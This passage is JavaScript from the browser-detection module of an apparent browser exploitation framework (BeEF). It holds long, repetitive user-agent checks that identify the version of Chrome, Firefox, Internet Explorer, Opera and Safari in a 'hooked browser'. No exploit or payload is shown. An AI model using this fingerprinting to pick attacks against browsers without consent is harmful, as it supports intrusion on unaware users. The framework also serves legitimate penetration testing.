this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS();
  4112.     },
  4113.  
  4114.     /**
  4115.      * Returns true if Opera 9.50 through 9.52.
  4116.      * @example: beef.browser.isO9_52()
  4117.      */
  4118.     isO9_52: function () {
  4119.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  4120.     },
  4121.  
  4122.     /**
  4123.      * Returns true if Opera 9.60 through 9.64.
  4124.      * @example: beef.browser.isO9_60()
  4125.      */
  4126.     isO9_60: function () {
  4127.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  4128.     },
  4129.  
  4130.     /**
  4131.      * Returns true if Opera 10.xx.
  4132.      * @example: beef.browser.isO10()
  4133.      */
  4134.     isO10: function () {
  4135.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  4136.     },
  4137.  
  4138.     /**
  4139.      * Returns true if Opera 11.xx.
  4140.      * @example: beef.browser.isO11()
  4141.      */
  4142.     isO11: function () {
  4143.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  4144.     },
  4145.  
  4146.     /**
  4147.      * Returns true if Opera 12.xx.
  4148.      * @example: beef.browser.isO12()
  4149.      */
  4150.     isO12: function () {
  4151.         return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
  4152.     },
  4153.  
  4154.     /**
  4155.      * Returns true if Opera.
  4156.      * @example: beef.browser.isO()
  4157.      */
  4158.     isO: function () {
  4159.         return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
  4160.     },
  4161.  
  4162.     /**
  4163.      * Returns a hash of string keys representing a given capability
  4164.      * @example: beef.browser.capabilities()["navigator.plugins"]
  4165.      */
  4166.     capabilities: function () {
  4167.         var out = {};
  4168.         var type = this.type();
  4169.  
  4170.         out["navigator.plugins"] = (type.IE11 || !type.IE);
  4171.  
  4172.         return out;
  4173.     },
  4174.  
  4175.     /**
  4176.      * Returns the type of browser being used.
  4177.      * @example: beef.browser.type().IE6
  4178.      * @example: beef.browser.type().FF
  4179.      * @example: beef.browser.type().O
  4180.      */
  4181.     type: function () {
  4182.  
  4183.         return {
  4184.             C5: this.isC5(), // Chrome 5
  4185.             C6: this.isC6(), // Chrome 6
  4186.             C7: this.isC7(), // Chrome 7
  4187.             C8: this.isC8(), // Chrome 8
  4188.             C9: this.isC9(), // Chrome 9
  4189.             C10: this.isC10(), // Chrome 10
  4190.             C11: this.isC11(), // Chrome 11
  4191.             C12: this.isC12(), // Chrome 12
  4192.             C13: this.isC13(), // Chrome 13
  4193.             C14: this.isC14(), // Chrome 14
  4194.             C15: this.isC15(), // Chrome 15
  4195.             C16: this.isC16(), // Chrome 16
  4196.             C17: this.isC17(), // Chrome 17
  4197.             C18: this.isC18(), // Chrome 18
  4198.             C19: this.isC19(), // Chrome 19
  4199.             C19iOS: this.isC19iOS(), // Chrome 19 on iOS
  4200.             C20: this.isC20(), // Chrome 20
  4201.             C20iOS: this.isC20iOS(), // Chrome 20 on iOS
  4202.             C21: this.isC21(), // Chrome 21
  4203.             C21iOS: this.isC21iOS(), // Chrome 21 on iOS
  4204.             C22: this.isC22(), // Chrome 22
  4205.             C22iOS: this.isC22iOS(), // Chrome 22 on iOS
  4206.             C23: this.isC23(), // Chrome 23
  4207.             C23iOS: this.isC23iOS(), // Chrome 23 on iOS
  4208.             C24: this.isC24(), // Chrome 24
  4209.             C24iOS: this.isC24iOS(), // Chrome 24 on iOS
  4210.             C25: this.isC25(), // Chrome 25
  4211.             C25iOS: this.isC25iOS(), // Chrome 25 on iOS
  4212.             C26: this.isC26(), // Chrome 26
  4213.             C26iOS: this.isC26iOS(), // Chrome 26 on iOS
  4214.             C27: this.isC27(), // Chrome 27
  4215.             C27iOS: this.isC27iOS(), // Chrome 27 on iOS
  4216.             C28: this.isC28(), // Chrome 28
  4217.             C28iOS: this.isC28iOS(), // Chrome 28 on iOS
  4218.             C29: this.isC29(), // Chrome 29
  4219.             C29iOS: this.isC29iOS(), // Chrome 29 on iOS
  4220.             C30: this.isC30(), // Chrome 30
  4221.             C30iOS: this.isC30iOS(), // Chrome 30 on iOS
  4222.             C31: this.isC31(), // Chrome 31
  4223.             C31iOS: this.isC31iOS(), // Chrome 31 on iOS
  4224.             C32: this.isC32(), // Chrome 32
  4225.             C32iOS: this.isC32iOS(), // Chrome 32 on iOS
  4226.             C33: this.isC33(), // Chrome 33
  4227.             C33iOS: this.isC33iOS(), // Chrome 33 on iOS
  4228.             C34: this.isC34(), // Chrome 34
  4229.             C34iOS: this.isC34iOS(), // Chrome 34 on iOS
  4230.             C35: this.isC35(), // Chrome 35
  4231.             C35iOS: this.isC35iOS(), // Chrome 35 on iOS
  4232.             C36: this.isC36(), // Chrome 36
  4233.             C36iOS: this.isC36iOS(), // Chrome 36 on iOS
  4234.             C37: this.isC37(), // Chrome 37
  4235.             C37iOS: this.isC37iOS(), // Chrome 37 on iOS
  4236.             C38: this.isC38(), // Chrome 38
  4237.             C38iOS: this.isC38iOS(), // Chrome 38 on iOS
  4238.             C39: this.isC39(), // Chrome 39
  4239.             C39iOS: this.isC39iOS(), // Chrome 39 on iOS
  4240.             C40: this.isC40(), // Chrome 40
  4241.             C40iOS: this.isC40iOS(), // Chrome 40 on iOS
  4242.             C41: this.isC41(), // Chrome 41
  4243.             C41iOS: this.isC41iOS(), // Chrome 41 on iOS
  4244.             C42: this.isC42(), // Chrome 42
  4245.             C42iOS: this.isC42iOS(), // Chrome 42 on iOS
  4246.             C43: this.isC43(), // Chrome 43
  4247.             C43iOS: this.isC43iOS(), // Chrome 43 on iOS
  4248.             C44: this.isC44(), // Chrome 44
  4249.             C44iOS: this.isC44iOS(), // Chrome 44 on iOS
  4250.             C45: this.isC45(), // Chrome 45
  4251.             C45iOS: this.isC45iOS(), // Chrome 45 on iOS
  4252.             C46: this.isC46(), // Chrome 46
  4253.             C46iOS: this.isC46iOS(), // Chrome 46 on iOS
  4254.             C47: this.isC47(), // Chrome 47
  4255.             C47iOS: this.isC47iOS(), // Chrome 47 on iOS
  4256.             C48: this.isC48(), // Chrome 48
  4257.             C48iOS: this.isC48iOS(), // Chrome 48 on iOS
  4258.             C49: this.isC49(), // Chrome 49
  4259.             C49iOS: this.isC49iOS(), // Chrome 49 on iOS
  4260.             C50: this.isC50(), // Chrome 50
  4261.             C50iOS: this.isC50iOS(), // Chrome 50 on iOS
  4262.             C51: this.isC51(), // Chrome 51
  4263.             C51iOS: this.isC51iOS(), // Chrome 51 on iOS
  4264.             C52: this.isC52(), // Chrome 52
  4265.             C52iOS: this.isC52iOS(), // Chrome 52 on iOS
  4266.             C53: this.isC53(), // Chrome 53
  4267.             C53iOS: this.isC53iOS(), // Chrome 53 on iOS
  4268.             C54: this.isC54(), // Chrome 54
  4269.             C54iOS: this.isC54iOS(), // Chrome 54 on iOS
  4270.             C55: this.isC55(), // Chrome 55
  4271.             C55iOS: this.isC55iOS(), // Chrome 55 on iOS
  4272.             C56: this.isC56(), // Chrome 56
  4273.             C56iOS: this.isC56iOS(), // Chrome 56 on iOS
  4274.             C57: this.isC57(), // Chrome 57
  4275.             C57iOS: this.isC57iOS(), // Chrome 57 on iOS
  4276.             C58: this.isC58(), // Chrome 58
  4277.             C58iOS: this.isC58iOS(), // Chrome 58 on iOS
  4278.            
  4279.             C: this.isC(), // Chrome any version
  4280.  
  4281.             FF2: this.isFF2(), // Firefox 2
  4282.             FF3: this.isFF3(), // Firefox 3
  4283.             FF3_5: this.isFF3_5(), // Firefox 3.5
  4284.             FF3_6: this.isFF3_6(), // Firefox 3.6
  4285.             FF4: this.isFF4(), // Firefox 4
  4286.             FF5: this.isFF5(), // Firefox 5
  4287.             FF6: this.isFF6(), // Firefox 6
  4288.             FF7: this.isFF7(), // Firefox 7
  4289.             FF8: this.isFF8(), // Firefox 8
  4290.             FF9: this.isFF9(), // Firefox 9
  4291.             FF10: this.isFF10(), // Firefox 10
  4292.             FF11: this.isFF11(), // Firefox 11
  4293.             FF12: this.isFF12(), // Firefox 12
  4294.             FF13: this.isFF13(), // Firefox 13
  4295.             FF14: this.isFF14(), // Firefox 14
  4296.             FF15: this.isFF15(), // Firefox 15
  4297.             FF16: this.isFF16(), // Firefox 16
  4298.             FF17: this.isFF17(), // Firefox 17
  4299.             FF18: this.isFF18(), // Firefox 18
  4300.             FF19: this.isFF19(), // Firefox 19
  4301.             FF20: this.isFF20(), // Firefox 20
  4302.             FF21: this.isFF21(), // Firefox 21
  4303.             FF22: this.isFF22(), // Firefox 22
  4304.             FF23: this.isFF23(), // Firefox 23
  4305.             FF24: this.isFF24(), // Firefox 24
  4306.             FF25: this.isFF25(), // Firefox 25
  4307.             FF26: this.isFF26(), // Firefox 26
  4308.             FF27: this.isFF27(), // Firefox 27
  4309.             FF28: this.isFF28(), // Firefox 28
  4310.             FF29: this.isFF29(), // Firefox 29
  4311.             FF30: this.isFF30(), // Firefox 30
  4312.             FF31: this.isFF31(), // Firefox 31
  4313.             FF32: this.isFF32(), // Firefox 32
  4314.             FF33: this.isFF33(), // Firefox 33
  4315.             FF34: this.isFF34(), // Firefox 34
  4316.             FF35: this.isFF35(), // Firefox 35
  4317.             FF36: this.isFF36(), // Firefox 36
  4318.             FF37: this.isFF37(), // Firefox 37
  4319.             FF38: this.isFF38(), // Firefox 38
  4320.             FF39: this.isFF39(), // Firefox 39
  4321.             FF40: this.isFF40(), // Firefox 40
  4322.             FF41: this.isFF41(), // Firefox 41
  4323.             FF42: this.isFF42(), // Firefox 42
  4324.             FF43: this.isFF43(), // Firefox 43
  4325.             FF44: this.isFF44(), // Firefox 44
  4326.             FF45: this.isFF45(), // Firefox 45
  4327.             FF46: this.isFF46(), // Firefox 46
  4328.             FF47: this.isFF47(), // Firefox 47
  4329.             FF48: this.isFF48(), // Firefox 48
  4330.             FF49: this.isFF49(), // Firefox 49
  4331.             FF50: this.isFF50(), // Firefox 50
  4332.             FF51: this.isFF51(), // Firefox 51
  4333.             FF52: this.isFF52(), // Firefox 52
  4334.             FF53: this.isFF53(), // Firefox 53
  4335.             FF: this.isFF(),   // Firefox any version
  4336.  
  4337.             IE6: this.isIE6(), // Internet Explorer 6
  4338.             IE7: this.isIE7(), // Internet Explorer 7
  4339.             IE8: this.isIE8(), // Internet Explorer 8
  4340.             IE9: this.isIE9(), // Internet Explorer 9
  4341.             IE10: this.isIE10(), // Internet Explorer 10
  4342.             IE11: this.isIE11(), // Internet Explorer 11
  4343.             IE: this.isIE(), // Internet Explorer any version
  4344.  
  4345.             O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  4346.             O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  4347.             O10: this.isO10(), // Opera 10.xx
  4348.             O11: this.isO11(), // Opera 11.xx
  4349.             O12: this.isO12(), // Opera 12.xx
  4350.             O: this.isO(),   // Opera any version
  4351.  
  4352.             S4: this.isS4(), // Safari 4.xx
  4353.             S5: this.isS5(), // Safari 5.xx
  4354.             S6: this.isS6(), // Safari 6.x
  4355.             S7: this.isS7(), // Safari 7.x
  4356.             S8: this.isS8(), // Safari 8.x
  4357.             S: this.isS()   // Safari any version
  4358.         }
  4359.     },
  4360.  
  4361.     /**
  4362.      * Returns the type of browser being used.
  4363.      * @return: {String} User agent software and version.
  4364.      *
  4365.      * @example: beef.browser.getBrowserVersion()
  4366.      */
  4367.     getBrowserVersion: function () {
  4368.  
  4369.         if (this.isC5()) {
  4370.             return '5'
  4371.         }
  4372.         ;   // Chrome 5
  4373.         if (this.isC6()) {
  4374.             return '6'
  4375.         }
  4376.         ;   // Chrome 6
  4377.         if (this.isC7()) {
  4378.             return '7'
  4379.         }
  4380.         ;   // Chrome 7
  4381.         if (this.isC8()) {
  4382.             return '8'
  4383.         }
  4384.         ;   // Chrome 8
  4385.         if (this.isC9()) {
  4386.             return '9'
  4387.         }
  4388.         ;   // Chrome 9
  4389.         if (this.isC10()) {
  4390.             return '10'
  4391.         }
  4392.         ;   // Chrome 10
  4393.         if (this.isC11()) {
  4394.             return '11'
  4395.         }
  4396.         ;   // Chrome 11
  4397.         if (this.isC12()) {
  4398.             return '12'
  4399.         }
  4400.         ;   // Chrome 12
  4401.         if (this.isC13()) {
  4402.             return '13'
  4403.         }
  4404.         ;   // Chrome 13
  4405.         if (this.isC14()) {
  4406.             return '14'
  4407.         }
  4408.         ;   // Chrome 14
  4409.         if (this.isC15()) {
  4410.             return '15'
  4411.         }
  4412.         ;   // Chrome 15
  4413.         if (this.isC16()) {
  4414.             return '16'
  4415.         }
  4416.         ;   // Chrome 16
  4417.         if (this.isC17()) {
  4418.             return '17'
  4419.         }
  4420.         ;   // Chrome 17
  4421.         if (this.isC18()) {
  4422.             return '18'
  4423.         }
  4424.         ;   // Chrome 18
  4425.         if (this.isC19()) {
  4426.             return '19'
  4427.         }
  4428.         ;   // Chrome 19
  4429.         if (this.isC19iOS()) {
  4430.             return '19'
  4431.         }
  4432.         ;   // Chrome 19 for iOS
  4433.         if (this.isC20()) {
  4434.             return '20'
  4435.         }
  4436.         ;   // Chrome 20
  4437.         if (this.isC20iOS()) {
  4438.             return '20'
  4439.         }
  4440.         ;   // Chrome 20 for iOS
  4441.         if (this.isC21()) {
  4442.             return '21'
  4443.         }
  4444.         ;   // Chrome 21
  4445.         if (this.isC21iOS()) {
  4446.             return '21'
  4447.         }
  4448.         ;   // Chrome 21 for iOS
  4449.         if (this.isC22()) {
  4450.             return '22'
  4451.         }
  4452.         ;    // Chrome 22
  4453.         if (this.isC22iOS()) {
  4454.             return '22'
  4455.         }
  4456.         ;   // Chrome 22 for iOS
  4457.         if (this.isC23()) {
  4458.             return '23'
  4459.         }
  4460.         ;    // Chrome 23
  4461.         if (this.isC23iOS()) {
  4462.             return '23'
  4463.         }
  4464.         ;   // Chrome 23 for iOS
  4465.         if (this.isC24()) {
  4466.             return '24'
  4467.         }
  4468.         ;    // Chrome 24
  4469.         if (this.isC24iOS()) {
  4470.             return '24'
  4471.         }
  4472.         ;   // Chrome 24 for iOS
  4473.         if (this.isC25()) {
  4474.             return '25'
  4475.         }
  4476.         ;    // Chrome 25
  4477.         if (this.isC25iOS()) {
  4478.             return '25'
  4479.         }
  4480.         ;   // Chrome 25 for iOS
  4481.         if (this.isC26()) {
  4482.             return '26'
  4483.         }
  4484.         ;    // Chrome 26
  4485.         if (this.isC26iOS()) {
  4486.             return '26'
  4487.         }
  4488.         ;   // Chrome 26 for iOS
  4489.         if (this.isC27()) {
  4490.             return '27'
  4491.         }
  4492.         ;    // Chrome 27
  4493.         if (this.isC27iOS()) {
  4494.             return '27'
  4495.         }
  4496.         ;   // Chrome 27 for iOS
  4497.         if (this.isC28()) {
  4498.             return '28'
  4499.         }
  4500.         ;    // Chrome 28
  4501.         if (this.isC28iOS()) {
  4502.             return '28'
  4503.         }
  4504.         ;   // Chrome 28 for iOS
  4505.         if (this.isC29()) {
  4506.             return '29'
  4507.         }
  4508.         ;    // Chrome 29
  4509.         if (this.isC29iOS()) {
  4510.             return '29'
  4511.         }
  4512.         ;   // Chrome 29 for iOS
  4513.         if (this.isC30()) {
  4514.             return '30'
  4515.         }
  4516.         ;    // Chrome 30
  4517.         if (this.isC30iOS()) {
  4518.             return '30'
  4519.         }
  4520.         ;   // Chrome 30 for iOS
  4521.         if (this.isC31()) {
  4522.             return '31'
  4523.         }
  4524.         ;   // Chrome 31
  4525.         if (this.isC31iOS()) {
  4526.             return '31'
  4527.         }
  4528.         ;   // Chrome 31 for iOS
  4529.         if (this.isC32()) {
  4530.             return '32'
  4531.         }
  4532.         ;   // Chrome 32
  4533.         if (this.isC32iOS()) {
  4534.             return '32'
  4535.         }
  4536.         ;   // Chrome 32 for iOS
  4537.         if (this.isC33()) {
  4538.             return '33'
  4539.         }
  4540.         ;   // Chrome 33
  4541.         if (this.isC33iOS()) {
  4542.             return '33'
  4543.         }
  4544.         ;   // Chrome 33 for iOS
  4545.         if (this.isC34()) {
  4546.             return '34'
  4547.         }
  4548.         ;   // Chrome 34
  4549.         if (this.isC34iOS()) {
  4550.             return '34'
  4551.         }
  4552.         ;   // Chrome 34 for iOS
  4553.         if (this.isC35()) {
  4554.             return '35'
  4555.         }
  4556.         ;   // Chrome 35
  4557.         if (this.isC35iOS()) {
  4558.             return '35'
  4559.         }
  4560.         ;   // Chrome 35 for iOS
  4561.         if (this.isC36()) {
  4562.             return '36'
  4563.         }
  4564.         ;   // Chrome 36
  4565.         if (this.isC36iOS()) {
  4566.             return '36'
  4567.         }
  4568.         ;   // Chrome 36 for iOS
  4569.         if (this.isC37()) {
  4570.             return '37'
  4571.         }
  4572.         ;   // Chrome 37
  4573.         if (this.isC37iOS()) {
  4574.             return '37'
  4575.         }
  4576.         ;   // Chrome 37 for iOS
  4577.         if (this.isC38()) {
  4578.             return '38'
  4579.         }
  4580.         ;   // Chrome 38
  4581.         if (this.isC38iOS()) {
  4582.             return '38'
  4583.         }
  4584.         ;   // Chrome 38 for iOS
  4585.         if (this.isC39()) {
  4586.             return '39'
  4587.         }
  4588.         ;   // Chrome 39
  4589.         if (this.isC39iOS()) {
  4590.             return '39'
  4591.         }
  4592.         ;   // Chrome 39 for iOS
  4593.         if (this.isC40()) {
  4594.             return '40'
  4595.         }
  4596.         ;   // Chrome 40
  4597.         if (this.isC40iOS()) {
  4598.             return '40'
  4599.         }
  4600.         ;   // Chrome 40 for iOS
  4601.         if (this.isC41()) {
  4602.             return '41'
  4603.         }
  4604.         ;   // Chrome 41
  4605.         if (this.isC41iOS()) {
  4606.             return '41'
  4607.         }
  4608.         ;   // Chrome 41 for iOS
  4609.         if (this.isC42()) {
  4610.             return '42'
  4611.         }
  4612.         ;   // Chrome 42
  4613.         if (this.isC42iOS()) {
  4614.             return '42'
  4615.         }
  4616.         ;   // Chrome 42 for iOS
  4617.         if (this.isC43()) {
  4618.             return '43'
  4619.         }
  4620.         ;   // Chrome 43
  4621.         if (this.isC43iOS()) {
  4622.             return '43'
  4623.         }
  4624.         ;   // Chrome 43 for iOS
  4625.         if (this.isC44()) {
  4626.             return '44'
  4627.         }
  4628.         ;   // Chrome 44
  4629.         if (this.isC44iOS()) {
  4630.             return '44'
  4631.         }
  4632.         ;   // Chrome 44 for iOS
  4633.         if (this.isC45()) {
  4634.             return '45'
  4635.         }
  4636.         ;   // Chrome 45
  4637.         if (this.isC45iOS()) {
  4638.             return '45'
  4639.         }
  4640.         ;   // Chrome 45 for iOS
  4641.         if (this.isC46()) {
  4642.             return '46'
  4643.         }
  4644.         ;// Chrome 46
  4645.         if (this.isC46iOS()) {
  4646.             return '46'
  4647.         }
  4648.         ;   // Chrome 46 for iOS
  4649.         if (this.isC47()) {
  4650.             return '47'
  4651.         }
  4652.         ;// Chrome 47
  4653.         if (this.isC47iOS()) {
  4654.             return '47'
  4655.         }
  4656.         ;   // Chrome 47 for iOS
  4657.         if (this.isC48()) {
  4658.             return '48'
  4659.         }
  4660.         ;// Chrome 48
  4661.         if (this.isC48iOS()) {
  4662.             return '48'
  4663.         }
  4664.         ;   // Chrome 48 for iOS
  4665.         if (this.isC49()) {
  4666.             return '49'
  4667.         }
  4668.         ;// Chrome 49
  4669.         if (this.isC49iOS()) {
  4670.             return '49'
  4671.         }
  4672.         ;   // Chrome 49 for iOS
  4673.         if (this.isC50()) {
  4674.             return '50'
  4675.         }
  4676.         ;// Chrome 50
  4677.         if (this.isC50iOS()) {
  4678.             return '50'
  4679.         }
  4680.         ;   // Chrome 50 for iOS
  4681.         if (this.isC51()) {
  4682.             return '51'
  4683.         }
  4684.         ;// Chrome 51
  4685.         if (this.isC51iOS()) {
  4686.             return '51'
  4687.         }
  4688.         ;   // Chrome 51 for iOS
  4689.         if (this.isC52()) {
  4690.             return '52'
  4691.         }
  4692.         ;// Chrome 52
  4693.         if (this.isC52iOS()) {
  4694.             return '52'
  4695.         }
  4696.         ;   // Chrome 52 for iOS
  4697.         if (this.isC53()) {
  4698.             return '53'
  4699.         }
  4700.         ;// Chrome 53
  4701.         if (this.isC53iOS()) {
  4702.             return '53'
  4703.         }
  4704.         ;   // Chrome 53 for iOS
  4705.         if (this.isC54()) {
  4706.             return '54'
  4707.         }
  4708.         ;// Chrome 54
  4709.         if (this.isC54iOS()) {
  4710.             return '54'
  4711.         }
  4712.         ;   // Chrome 54 for iOS
  4713.         if (this.isC55()) {
  4714.             return '55'
  4715.         }
  4716.         ;// Chrome 55
  4717.         if (this.isC55iOS()) {
  4718.             return '55'
  4719.         }
  4720.         ;   // Chrome 55 for iOS
  4721.         if (this.isC56()) {
  4722.             return '56'
  4723.         }
  4724.         ;// Chrome 56
  4725.         if (this.isC56iOS()) {
  4726.             return '56'
  4727.         }
  4728.         ;   // Chrome 56 for iOS
  4729.         if (this.isC57()) {
  4730.             return '57'
  4731.         }
  4732.         ;// Chrome 57
  4733.         if (this.isC57iOS()) {
  4734.             return '57'
  4735.         }
  4736.         ;   // Chrome 57 for iOS
  4737.         if (this.isC58()) {
  4738.             return '58'
  4739.         }
  4740.         ;// Chrome 58
  4741.         if (this.isC58iOS()) {
  4742.             return '58'
  4743.         }
  4744.         ;   // Chrome 58 for iOS
  4745.  
  4746.        
  4747.         if (this.isFF2()) {
  4748.             return '2'
  4749.         }
  4750.         ;   // Firefox 2
  4751.         if (this.isFF3()) {
  4752.             return '3'
  4753.         }
  4754.         ;   // Firefox 3
  4755.         if (this.isFF3_5()) {
  4756.             return '3.5'
  4757.         }
  4758.         ;   // Firefox 3.5
  4759.         if (this.isFF3_6()) {
  4760.             return '3.6'
  4761.         }
  4762.         ;   // Firefox 3.6
  4763.         if (this.isFF4()) {
  4764.             return '4'
  4765.         }
  4766.         ;   // Firefox 4
  4767.         if (this.isFF5()) {
  4768.             return '5'
  4769.         }
  4770.         ;   // Firefox 5
  4771.         if (this.isFF6()) {
  4772.             return '6'
  4773.         }
  4774.         ;   // Firefox 6
  4775.         if (this.isFF7()) {
  4776.             return '7'
  4777.         }
  4778.         ;   // Firefox 7
  4779.         if (this.isFF8()) {
  4780.             return '8'
  4781.         }
  4782.         ;   // Firefox 8
  4783.         if (this.isFF9()) {
  4784.             return '9'
  4785.         }
  4786.         ;   // Firefox 9
  4787.         if (this.isFF10()) {
  4788.             return '10'
  4789.         }
  4790.         ;   // Firefox 10
  4791.         if (this.isFF11()) {
  4792.             return '11'
  4793.         }
  4794.         ;   // Firefox 11
  4795.         if (this.isFF12()) {
  4796.             return '12'
  4797.         }
  4798.         ;   // Firefox 12
  4799.         if (this.isFF13()) {
  4800.             return '13'
  4801.         }
  4802.         ;   // Firefox 13
  4803.         if (this.isFF14()) {
  4804.             return '14'
  4805.         }
  4806.         ;   // Firefox 14
  4807.         if (this.isFF15()) {
  4808.             return '15'
  4809.         }
  4810.         ;   // Firefox 15
  4811.         if (this.isFF16()) {
  4812.             return '16'
  4813.         }
  4814.         ;   // Firefox 16
  4815.         if (this.isFF17()) {
  4816.             return '17'
  4817.         }
  4818.         ;    // Firefox 17
  4819.         if (this.isFF18()) {
  4820.             return '18'
  4821.         }
  4822.         ;    // Firefox 18
  4823.         if (this.isFF19()) {
  4824.             return '19'
  4825.         }
  4826.         ;    // Firefox 19
  4827.         if (this.isFF20()) {
  4828.             return '20'
  4829.         }
  4830.         ;    // Firefox 20
  4831.         if (this.isFF21()) {
  4832.             return '21'
  4833.         }
  4834.         ;    // Firefox 21
  4835.         if (this.isFF22()) {
  4836.             return '22'
  4837.         }
  4838.         ;   // Firefox 22
  4839.         if (this.isFF23()) {
  4840.             return '23'
  4841.         }
  4842.         ;   // Firefox 23
  4843.         if (this.isFF24()) {
  4844.             return '24'
  4845.         }
  4846.         ;   // Firefox 24
  4847.         if (this.isFF25()) {
  4848.             return '25'
  4849.         }
  4850.         ;   // Firefox 25
  4851.         if (this.isFF26()) {
  4852.             return '26'
  4853.         }
  4854.         ;   // Firefox 26
  4855.         if (this.isFF27()) {
  4856.             return '27'
  4857.         }
  4858.         ;   // Firefox 27
  4859.         if (this.isFF28()) {
  4860.             return '28'
  4861.         }
  4862.         ;   // Firefox 28
  4863.         if (this.isFF29()) {
  4864.             return '29'
  4865.         }
  4866.         ;   // Firefox 29
  4867.         if (this.isFF30()) {
  4868.             return '30'
  4869.         }
  4870.         ;   // Firefox 30
  4871.         if (this.isFF31()) {
  4872.             return '31'
  4873.         }
  4874.         ;   // Firefox 31
  4875.         if (this.isFF32()) {
  4876.             return '32'
  4877.         }
  4878.         ;   // Firefox 32
  4879.         if (this.isFF33()) {
  4880.             return '33'
  4881.         }
  4882.         ;   // Firefox 33
  4883.         if (this.isFF34()) {
  4884.             return '34'
  4885.         }
  4886.         ;   // Firefox 34
  4887.         if (this.isFF35()) {
  4888.             return '35'
  4889.         }
  4890.         ;   // Firefox 35
  4891.         if (this.isFF36()) {
  4892.             return '36'
  4893.         }
  4894.         ;   // Firefox 36
  4895.         if (this.isFF37()) {
  4896.             return '37'
  4897.         }
  4898.         ;   // Firefox 37
  4899.         if (this.isFF38()) {
  4900.             return '38'
  4901.         }
  4902.         ;   // Firefox 38
  4903.         if (this.isFF39()) {
  4904.             return '39'
  4905.         }
  4906.         ;   // Firefox 39
  4907.         if (this.isFF40()) {
  4908.             return '40'
  4909.         }
  4910.         ;   // Firefox 40
  4911.         if (this.isFF41()) {
  4912.             return '41'
  4913.         }
  4914.         ;   // Firefox 41
  4915.         if (this.isFF42()) {
  4916.             return '42'
  4917.         }
  4918.         ;   // Firefox 42
  4919.         if (this.isFF43()) {
  4920.             return '43'
  4921.         }
  4922.         ;   // Firefox 43
  4923.         if (this.isFF44()) {
  4924.             return '44'
  4925.         }
  4926.         ;   // Firefox 44
  4927.         if (this.isFF45()) {
  4928.             return '45'
  4929.         }
  4930.         ;   // Firefox 45
  4931.         if (this.isFF46()) {
  4932.             return '46'
  4933.         }
  4934.         ;   // Firefox 46
  4935.         if (this.isFF47()) {
  4936.             return '47'
  4937.         }
  4938.         ;   // Firefox 47
  4939.         if (this.isFF48()) {
  4940.             return '48'
  4941.         }
  4942.         ;   // Firefox 48
  4943.         if (this.isFF49()) {
  4944.             return '49'
  4945.         }
  4946.         ;   // Firefox 49
  4947.         if (this.isFF50()) {
  4948.             return '50'
  4949.         }
  4950.         ;   // Firefox 50
  4951.         if (this.isFF51()) {
  4952.             return '51'
  4953.         }
  4954.         ;   // Firefox 51
  4955.         if (this.isFF52()) {
  4956.             return '52'
  4957.         }
  4958.         ;   // Firefox 52
  4959.         if (this.isFF53()) {
  4960.             return '53'
  4961.         }
  4962.         ;   // Firefox 53
  4963.  
  4964.         if (this.isIE6()) {
  4965.             return '6'
  4966.         }
  4967.         ;   // Internet Explorer 6
  4968.         if (this.isIE7()) {
  4969.             return '7'
  4970.         }
  4971.         ;   // Internet Explorer 7
  4972.         if (this.isIE8()) {
  4973.             return '8'
  4974.         }
  4975.         ;   // Internet Explorer 8
  4976.         if (this.isIE9()) {
  4977.             return '9'
  4978.         }
  4979.         ;   // Internet Explorer 9
  4980.         if (this.isIE10()) {
  4981.             return '10'
  4982.         }
  4983.         ;   // Internet Explorer 10
  4984.         if (this.isIE11()) {
  4985.             return '11'
  4986.         }
  4987.         ;   // Internet Explorer 11
  4988.  
  4989.         if (this.isS4()) {
  4990.             return '4'
  4991.         }
  4992.         ;   // Safari 4
  4993.         if (this.isS5()) {
  4994.             return '5'
  4995.         }
  4996.         ;   // Safari 5
  4997.         if (this.isS6()) {
  4998.             return '6'
  4999.         }
  5000.         ;   // Safari 6
  5001.  
  5002.         if (this.isS7()) {
  5003.             return '7'
  5004.         }
  5005.         ;   // Safari 7
  5006.         if (this.isS8()) {
  5007.             return '8'
  5008.         }
  5009.         ;       // Safari 8
  5010.  
  5011.         if (this.isO9_52()) {
  5012.             return '9.5'
  5013.         }
  5014.         ;   // Opera 9.5x
  5015.         if (this.isO9_60()) {
  5016.             return '9.6'
  5017.         }
  5018.         ;   // Opera 9.6
  5019.         if (this.isO10()) {
  5020.             return '10'
  5021.         }
  5022.         ;   // Opera 10.xx
  5023.         if (this.isO11()) {
  5024.             return '11'
  5025.         }
  5026.         ;   // Opera 11.xx
  5027.         if (this.isO12()) {
  5028.             return '12'
  5029.         }
  5030.         ;   // Opera 12.xx
  5031.  
  5032.         return 'UNKNOWN';               // Unknown UA
  5033.     },
  5034.  
  5035.     /**
  5036.      * Returns the type of user agent by hooked browser.
  5037.      * @return: {String} User agent software.
  5038.      *
  5039.      * @example: beef.browser.getBrowserName()
  5040.      */
  5041.     getBrowserName: function () {
  5042.  
  5043.         if (this.isC()) {
  5044.             return 'C'
  5045.         }
  5046.         ;   // Chrome any version
  5047.         if (this.isFF()) {
  5048.             return 'FF'
  5049.         }
  5050.         ;       // Firefox any version
  5051.         if (this.isIE()) {
  5052.             return 'IE'
  5053.         }
  5054.         ;       // Internet Explorer any version
  5055.         if (this.isO()) {
  5056.             return 'O'
  5057.         }
  5058.         ;       // Opera any version
  5059.         if (this.isS()) {
  5060.             return 'S'
  5061.         }
  5062.         ;       // Safari any version
  5063.         if (this.isA()) {
  5064.             return 'A'
  5065.         }
  5066.         ;               // Avant any version
  5067.         if (this.isMidori()) {
  5068.             return 'MI'
  5069.         }
  5070.         ;               // Midori any version
  5071.         if (this.isOdyssey()) {
  5072.             return 'OD'
  5073.         }
  5074.         ;               // Odyssey any version
  5075.         if (this.isBrave()) {
  5076.             return 'BR'
  5077.         }
  5078.         ;               // Brave any version
